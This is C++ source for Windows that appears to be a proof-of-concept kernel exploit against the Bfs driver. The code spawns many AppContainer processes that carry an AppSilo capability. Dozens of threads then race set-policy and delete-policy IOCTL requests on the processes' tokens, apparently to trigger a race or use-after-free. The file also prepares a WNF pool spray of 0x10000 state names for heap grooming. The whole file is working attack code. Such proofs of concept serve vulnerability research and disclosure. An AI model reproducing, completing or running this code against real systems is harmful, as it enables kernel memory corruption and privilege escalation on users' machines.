#include <iostream>
#include <Windows.h>


#include "ntdll.h"
#pragma comment(lib, "ntdll")

#include "wnf.h"
#include "Bfs2.h"

#include <userenv.h>
#pragma comment(lib, "Userenv.lib")

PWSTR gProcessPath = NULL;

typedef HRESULT(WINAPI* __CreateAppContainerProfile)(
    _In_ PCWSTR pszAppContainerName,
    _In_ PCWSTR pszDisplayName,
    _In_ PCWSTR pszDescription,
    _In_reads_opt_(dwCapabilityCount) PSID_AND_ATTRIBUTES pCapabilities,
    _In_ DWORD dwCapabilityCount,
    _Outptr_ PSID* ppSidAppContainerSid);
typedef HRESULT(WINAPI* __DeriveAppContainerSidFromAppContainerName)(
    _In_ PCWSTR pszAppContainerName,
    _Outptr_ PSID* ppsidAppContainerSid);

typedef BOOL(WINAPI* __ConvertStringSecurityDescriptorToSecurityDescriptor)(
    _In_ LPCWSTR StringSecurityDescriptor,
    _In_ DWORD StringSDRevision,
    _Outptr_ PSECURITY_DESCRIPTOR* SecurityDescriptor,
    _Out_opt_ PULONG SecurityDescriptorSize);

__NtCreateWnfStateName NtCreateWnfStateName = NULL;
__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
__NtQueryWnfStateData NtQueryWnfStateData = NULL;
__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;

void CreateContainerIf(PSID* ppSidAppContainerSid, int Tid, ULONGLONG TickCount64) {

    PCWSTR pszAppContainerBaseName = L"Container_c83b2e04-432a-4767-a737-143733ee9f28";
    PCWSTR pszDisplayBaseName = L"Container_c83b2e04-432a-4767-a737-143733ee9f28";
    PCWSTR pszBaseDescription = L"This is Container_c83b2e04-432a-4767-a737-143733ee9f28.";

    WCHAR szAppContainerName[0x200] = { 0 };
    WCHAR szDisplayName[0x200] = { 0 };
    WCHAR szDescription[0x200] = { 0 };

    swprintf_s(szAppContainerName, 0x200, L"%ls-%x-%I64x", pszAppContainerBaseName, Tid, TickCount64);
    swprintf_s(szDisplayName, 0x200, L"%ls-%x-%I64x", pszDisplayBaseName, Tid, TickCount64);
    swprintf_s(szDescription, 0x200, L"%ls-%x-%I64x", pszBaseDescription, Tid, TickCount64);

    HRESULT Hr = CreateAppContainerProfile(szAppContainerName, szDisplayName, szDescription, NULL, 0, ppSidAppContainerSid);
    if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {

        Hr = DeriveAppContainerSidFromAppContainerName(szAppContainerName, ppSidAppContainerSid);
    }
}


struct _SiloSID
{
    unsigned __int8 Revision;
    unsigned __int8 SubAuthorityCount;
    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
    unsigned int SubAuthority[2];
};

_SiloSID CreateAppSiloCapability() {
    _SiloSID SeAppSiloSid = { 0 };
    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 };

    IdentifierAuthority.Value[0] = 0;
    IdentifierAuthority.Value[1] = 0;
    IdentifierAuthority.Value[2] = 0;
    IdentifierAuthority.Value[3] = 0;
    IdentifierAuthority.Value[4] = 0;
    IdentifierAuthority.Value[5] = 0xF;

    InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u);
    SeAppSiloSid.SubAuthority[0] = 3;
    SeAppSiloSid.SubAuthority[1] = 0x10000;

    return SeAppSiloSid;
}

struct _PROC_THREAD_ATTRIBUTE
{
    unsigned __int64 Attribute;
    unsigned __int64 Size;
    unsigned __int64 Value;
};


struct _PROC_THREAD_ATTRIBUTE_LIST
{
    unsigned int PresentFlags;
    unsigned int AttributeCount;
    unsigned int LastAttribute;
    unsigned int SpareUlong0;
    _PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute;
    _PROC_THREAD_ATTRIBUTE Attributes[1];
};

bool LaunchContainerApp(PSID pSidAppContainerSid, HANDLE* pProcessHandle, HANDLE* pThreadHandle) {
    STARTUPINFOEX si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SIZE_T size;
    SECURITY_CAPABILITIES sc = { 0 };
    sc.AppContainerSid = pSidAppContainerSid;

    SID_AND_ATTRIBUTES Capabilities[1] = { 0 };

    _SiloSID SeAppSiloSid = CreateAppSiloCapability();
    Capabilities[0].Sid = (PSID)(&SeAppSiloSid);
    Capabilities[0].Attributes = 0xf;


    sc.CapabilityCount = 1;
    sc.Capabilities = Capabilities;

    InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
    BYTE* buffer = (BYTE*)malloc(size);
    memset(buffer, 0, size);

    si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr);


    WCHAR szCommandLine[MAX_PATH];

    swprintf(szCommandLine, MAX_PATH, L"%ls -ContainerApp", gProcessPath);

    bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi);
    *pProcessHandle = pi.hProcess;
    *pThreadHandle = pi.hThread;

    return bResult;
}

int LoadWnfApi()
{
    HMODULE hNtDll = NULL;
    hNtDll = LoadLibraryA("ntdll.dll");
    if (hNtDll == NULL)
    {
        printf("load ntdll failed!\r\n");
        return -1;
    }

    NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
    NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
    NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
    NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
    NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
    if (NtCreateWnfStateName == NULL ||
        NtUpdateWnfStateData == NULL ||
        NtQueryWnfStateData == NULL ||
        NtDeleteWnfStateData == NULL ||
        NtDeleteWnfStateName == NULL)
    {
        printf("not found  functions\r\n");
        return -1;
    }

    return 0;
}

WNF_STATE_NAME gStateNames[0x10000];
int gStateCount = 0x10000;

bool WnfSprayPrepare() {
    NTSTATUS Status = 0;
    char Entry[0x1000 - 0x10] = { 0 };
    PSECURITY_DESCRIPTOR pSD = NULL;

    WNF_STATE_NAME StateName;

    int DataCount = 0x1000;
    WNF_STATE_NAME StateNames[0x1000];

    HMODULE hModule = NULL;
    hModule = LoadLibraryA("advapi32.dll");

    __ConvertStringSecurityDescriptorToSecurityDescriptor ConvertStringSecurityDescriptorToSecurityDescriptor = (__ConvertStringSecurityDescriptorToSecurityDescriptor)GetProcAddress(hModule, "ConvertStringSecurityDescriptorToSecurityDescriptorW");

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", 1, &pSD, nullptr))
    {
        return false;
    }

    for (int i = 0; i < gStateCount; ++i) {
        Status = NtCreateWnfStateName(&gStateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status);
            break;
        }
    }


    if (pSD)
    {
        LocalFree(pSD);
    }

    return true;
}


HANDLE OpenDevice() {
    UNICODE_STRING usDevice = { 0 };

    RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs");

    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL);

    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    HANDLE hDevice = NULL;
    NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0);

    if (STATUS_SUCCESS != status) {
        printf("[-] NtOpenFile() Return Code: %x\n", status);
        printf("please check if the bfs service is running.\n");
        getchar();
        ExitProcess(1);
    }

    return hDevice;
}

HANDLE  ghDevice = NULL;
DWORD   gInputBufferLength = 100;
PVOID   gInputBuffer[32];

DWORD   gOutputBufferLength = 100;
PVOID   gOutputBuffer = NULL;
HANDLE  gTokenHandle = NULL;

WCHAR gszSystemDir[MAX_PATH + 1] = { 0 };
WCHAR gszFilePath[MAX_PATH + 1] = { 0 };

bool gThread2Exit = false;
HANDLE ghStartEvent3 = NULL;
HANDLE ghTriggerEvent3 = NULL;
HANDLE ghMonitorEvent = NULL;

void SendPrepare() {
    ghDevice = OpenDevice();
    
    gOutputBuffer = malloc(gOutputBufferLength);

    memset(gInputBuffer, 0, gInputBufferLength);
    memset(gOutputBuffer, 0, gOutputBufferLength);

    UINT uResult = GetSystemDirectoryW(gszSystemDir, MAX_PATH);
    swprintf_s(gszFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", gszSystemDir);

    for (int i = 0; i < 32; ++i) {
        gInputBuffer[i] = malloc(gInputBufferLength);
        _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer[i];

        Policy->TokenHandle = gTokenHandle;
        Policy->FileType = 1;
        Policy->PolicyValue = 2;
        Policy->PolicyFlags = 0xf;
        Policy->OperationType = 1;

        RtlInitUnicodeString(&(Policy->usFilePath), gszFilePath);

    }

    ghStartEvent3 = CreateEventW(NULL, TRUE, FALSE, NULL);
    ghTriggerEvent3 = CreateEventW(NULL, TRUE, FALSE, NULL);
    ghMonitorEvent = CreateEventW(NULL, FALSE, FALSE, NULL);

    LoadWnfApi();
}

int SendSetPolicyRequest(int Index, HANDLE TokenHandle, ULONG OperationType) {

    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer[Index];
    Policy->OperationType = OperationType;
    Policy->TokenHandle = TokenHandle;

    NTSTATUS Status = NtDeviceIoControlFile(
        ghDevice,
        NULL,
        NULL,
        NULL,
        &IoStatusBlock,
        0x228004,
        gInputBuffer[Index],
        gInputBufferLength,
        gOutputBuffer,
        gOutputBufferLength);
    if (Status != 0) {
        printf("SendSetPolicyRequest Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
    }

    return Status;
}

int BfsProcessDeletePolicyEntryRequest(int Index, HANDLE TokenHandle) {

    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    *(HANDLE*)gInputBuffer[Index] = TokenHandle;


    NTSTATUS Status = NtDeviceIoControlFile(
        ghDevice,
        NULL,
        NULL,
        NULL,
        &IoStatusBlock,
        0x228010u,
        gInputBuffer[Index],
        gInputBufferLength,
        gOutputBuffer,
        gOutputBufferLength);
    if (Status != 0) {
        printf("BfsProcessDeletePolicyEntryRequest Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
    }
    return Status;
}

void SiloMain() {
    //getchar();
}


int AppsiloProcessCount = 150;
HANDLE AppSiloTokenHandles[32][10000];
HANDLE AppSiloThreadHandles[32][10000];
HANDLE AppSiloProcessHandles[32][10000];

DWORD WINAPI HostWorker1(LPVOID lpParameter) {
    int ThreadIndex = *(int*)lpParameter;


    printf("Thread %d: Creating Policy Entry...\n", ThreadIndex);
    for (int i = 0; i < AppsiloProcessCount; ++i) {
        PSID pSidAppContainerSid = NULL;
        int Tid = GetCurrentThreadId();
        ULONGLONG TickCount64 = GetTickCount64();
        CreateContainerIf(&pSidAppContainerSid, Tid, TickCount64);
        if (pSidAppContainerSid == NULL) {
            printf("CreateContainerIf failed.\n");
        }

        HANDLE hProcess = NULL;
        HANDLE hThread = NULL;
        HANDLE hToken = NULL;

        if (!LaunchContainerApp(pSidAppContainerSid, &hProcess, &hThread)) {
            printf("LaunchContainerApp failed.\n");
        }
        OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);

        AppSiloProcessHandles[ThreadIndex][i] = hProcess;
        AppSiloThreadHandles[ThreadIndex][i] = hThread;
        AppSiloTokenHandles[ThreadIndex][i] = hToken;

        //WaitForSingleObject(AppSiloProcessHandles[ThreadIndex][i], INFINITE);
        SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
        BfsProcessDeletePolicyEntryRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i]);
        SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
    }

    printf("Thread %d: Creating Policy Entry returned\n", ThreadIndex);

    //getchar();
    /*for (int i = 0; i < AppsiloProcessCount; ++i) {
        CloseHandle(AppSiloTokenHandles[i]);
        CloseHandle(AppSiloThreadHandles[i]);
        CloseHandle(AppSiloProcessHandles[i]);
    }*/

  

    return 0;
}

DWORD WINAPI HostWorker2(LPVOID lpParameter) {
    int ThreadIndex = *(int*)lpParameter;
     
    while (!gThread2Exit) {
        for (int i = 0; i < AppsiloProcessCount; ++i) {
            if (AppSiloTokenHandles[ThreadIndex][i]) {
                SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
            }
            else {
                Sleep(1);
            }
            
        }
    }
    
    return 0;
}

DWORD WINAPI HostWorker3(LPVOID lpParameter) {
    int ThreadIndex = *(int*)lpParameter;

    WaitForSingleObject(ghStartEvent3, INFINITE);

    printf("Thread %d: updating last access time.\n", ThreadIndex);
    for (int i = 0; i < AppsiloProcessCount; ++i) {
        SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
    }
    printf("Thread %d: updating last access time, returned.\n", ThreadIndex);

    if (ThreadIndex % 2 == 0) {

        printf("Thread %d: waiting update last access time again.\n", ThreadIndex);
        Sleep(11 * 1000);
        printf("Thread %d: updating last access time.\n", ThreadIndex);

        for (int i = 0; i < AppsiloProcessCount; ++i) {
            SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
        }

        printf("Thread %d: waiting ghTriggerEvent3.\n", ThreadIndex);
        WaitForSingleObject(ghTriggerEvent3, INFINITE);
        //printf("Thread %d: waiting ghTriggerEvent3, retruned.\n", ThreadIndex);

        bool bfirst = true;
        while (true) {
            for (int i = 0; i < AppsiloProcessCount; ++i) {
                if (bfirst) {
                    printf("Thread %d: sending request...\n", ThreadIndex);
                }
                BfsProcessDeletePolicyEntryRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i]);
                SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 1);
                if (bfirst) {
                    bfirst = false;
                    printf("Thread %d: sending request, retruned.\n", ThreadIndex);
                }
            }
        }
    }

    return 0;
}

DWORD WINAPI HostWorker(LPVOID lpParameter) {
   
    PSID pSidAppContainerSid = NULL;
    int Tid = GetCurrentThreadId();
    ULONGLONG TickCount64 = GetTickCount64();
    CreateContainerIf(&pSidAppContainerSid, Tid, TickCount64);
    if (pSidAppContainerSid == NULL) {
        printf("CreateContainerIf failed.\n");
    }

    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    HANDLE hToken = NULL;

    if (!LaunchContainerApp(pSidAppContainerSid, &hProcess, &hThread)) {
        printf("LaunchContainerApp failed.\n");
    }
    OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);
    WaitForSingleObject(hProcess, INFINITE);

    while (1) {
        SendSetPolicyRequest(0, hToken, 3);
        SetEvent(ghMonitorEvent);
        if (WAIT_TIMEOUT != WaitForSingleObject(ghTriggerEvent3, 1000)) {
            break;
        }
    }

    

    return 0;
}

DWORD WINAPI HostMonitor(LPVOID lpParameter) {

    while (1) {
        if (WAIT_TIMEOUT == WaitForSingleObject(ghMonitorEvent, 3000)) {
            printf("SetEvent(ghTriggerEvent3)\n");
            SetEvent(ghTriggerEvent3);
            break;
        }
    }

    return 0;
}


int ThreadIndex[32];
void HostWorkerMain() {
    HANDLE hThreads[32];
    HANDLE hThreads2[32];
    HANDLE hThreads3[32];

    SendPrepare();

    memset(AppSiloTokenHandles, 0, sizeof(AppSiloTokenHandles));
    memset(AppSiloThreadHandles, 0, sizeof(AppSiloThreadHandles));
    memset(AppSiloProcessHandles, 0, sizeof(AppSiloProcessHandles));

    int ThreadCount = 32;
    for (int i = 0; i < ThreadCount; ++i) {
        ThreadIndex[i] = i;
        hThreads[i] = CreateThread(NULL, 0, HostWorker1, &ThreadIndex[i], 0, NULL);
        hThreads2[i] = CreateThread(NULL, 0, HostWorker2, &ThreadIndex[i], 0, NULL);
        hThreads3[i] = CreateThread(NULL, 0, HostWorker3, &ThreadIndex[i], 0, NULL);
    }


    
    Sleep(1000);
    printf("%u\n", GetTickCount());

    WaitForMultipleObjects(ThreadCount, hThreads, TRUE, INFINITE);
    printf("Thread1 returned\n");
    printf("%u\n", GetTickCount());

    gThread2Exit = true;

    
    WaitForMultipleObjects(ThreadCount, hThreads2, TRUE, INFINITE);
    printf("Thread2 returned\n");
    printf("%u\n", GetTickCount());

    SetEvent(ghStartEvent3);

    HANDLE hWorker  = CreateThread(NULL, 0, HostWorker, NULL, 0, NULL);
    HANDLE hMonitor = CreateThread(NULL, 0, HostMonitor, NULL, 0, NULL);

    WaitForMultipleObjects(ThreadCount, hThreads3, TRUE, INFINITE);
    printf("Thread3 returned\n");
    printf("%u\n", GetTickCount());

    TerminateThread(hWorker, 1);
    TerminateThread(hMonitor, 1);

    //getchar();

}


HANDLE CreateWorkerProcess() {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    WCHAR szCommandLine[MAX_PATH + 1];
    swprintf(szCommandLine, MAX_PATH, L"%ls -Host -Worker", gProcessPath);

    bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
    return pi.hProcess;
}

HANDLE CreateHostProcess() {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    WCHAR szCommandLine[MAX_PATH + 1];
    swprintf(szCommandLine, MAX_PATH, L"%ls", gProcessPath);

    bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
    return pi.hProcess;
}


void HostMain() {
    int index = 0;
    int WorkerCount = 1;
    HANDLE ProcessHandles[100];

    for (int i = 0; i < WorkerCount; ++i) {
        ProcessHandles[i] = CreateWorkerProcess();
    }

    while (true) {

        DWORD dwRet = WaitForMultipleObjects(WorkerCount, ProcessHandles, FALSE, INFINITE);

        ProcessHandles[dwRet - WAIT_OBJECT_0] = CreateWorkerProcess();
    }
}

void Test() {
    SendPrepare();
}

int wmain(int argc, WCHAR* argv[])
{
    //Test();

    gProcessPath = argv[0];

    if (argc == 1) {
        //HostMain();
        HostWorkerMain();
    }
    else if (argc == 2) {
        SiloMain();
    }
    else {
        HostWorkerMain();
    }
}



int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    PWSTR szCmdLine, int iCmdShow)
{
    return wmain(__argc, __wargv);
}